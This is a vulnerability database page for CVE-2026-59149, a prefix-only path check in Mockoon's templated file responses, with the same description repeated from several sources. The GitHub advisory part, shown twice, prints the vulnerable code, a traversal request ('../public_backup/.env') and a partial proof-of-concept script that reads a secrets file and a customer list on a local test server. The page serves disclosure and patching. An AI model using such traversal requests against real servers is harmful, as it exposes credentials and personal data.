Every CVE Search/ Get API key

CVE-2026-59149

Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

6.5 MediumFix available

Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.48%Up 0.2 points since Jul 10, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.5

Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.

Record
CVE-2026-59149
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-22, CWE-23
Updated
2026-11-02
EUVDEUVD-2026-42684 6.5

Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.

Record
EUVD-2026-42684
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-8wqc-v2q8-vff2 6.5

@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

Summary

A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.

Details

packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:

const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336
const parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled
const resolvedPath = resolvePath(parsedFilePath);

if (isPathAbsolute) {
  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355
    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
  }
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362
  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}

With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../public_backup/.env resolves to /srv/public_backup/.env, and "/srv/public_backup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...

filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).

PoC

cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, [email protected], 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/[email protected] >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
 console.log("[*] intended file (public/index.txt)    :",await g("index.txt"));
 console.log("[+] escape -> ../public_backup/.env     :",await g("../public_backup/.env"));
 console.log("[+] escape -> ../public_backup/customers:",await…
Record
GHSA-8wqc-v2q8-vff2
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-22, CWE-23
Updated
2026-11-02
NVD 6.5

Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.

Record
CVE-2026-59149
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-22, CWE-23
Updated
2026-11-02
OSV 6.5

Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.

Record
CVE-2026-59149
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-22, CWE-23
Updated
2026-11-02
OSVGHSA-8wqc-v2q8-vff2 6.5

@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

Summary

A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.

Details

packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:

const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336
const parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled
const resolvedPath = resolvePath(parsedFilePath);

if (isPathAbsolute) {
  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355
    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
  }
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362
  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}

With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../public_backup/.env resolves to /srv/public_backup/.env, and "/srv/public_backup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...

filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).

PoC

cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, [email protected], 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/[email protected] >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
 console.log("[*] intended file (public/index.txt)    :",await g("index.txt"));
 console.log("[+] escape -> ../public_backup/.env     :",await g("../public_backup/.env"));
 console.log("[+] escape -> ../public_backup/customers:",await…
Record
GHSA-8wqc-v2q8-vff2
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-22, CWE-23
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@mockoon/commons-server
npm
through 9.6.1
9.7.0
@mockoon/cli
npm
through 9.6.1
9.7.0
@mockoon/commons-server
npm
before 9.7.0
9.7.0
@mockoon/cli
npm
before 9.7.0
9.7.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-59149 is a medium vulnerability (CVSS 6.5) in Mockoon, published July 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.48%, the 41st percentile. Fixed in @mockoon/commons-server 9.7.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open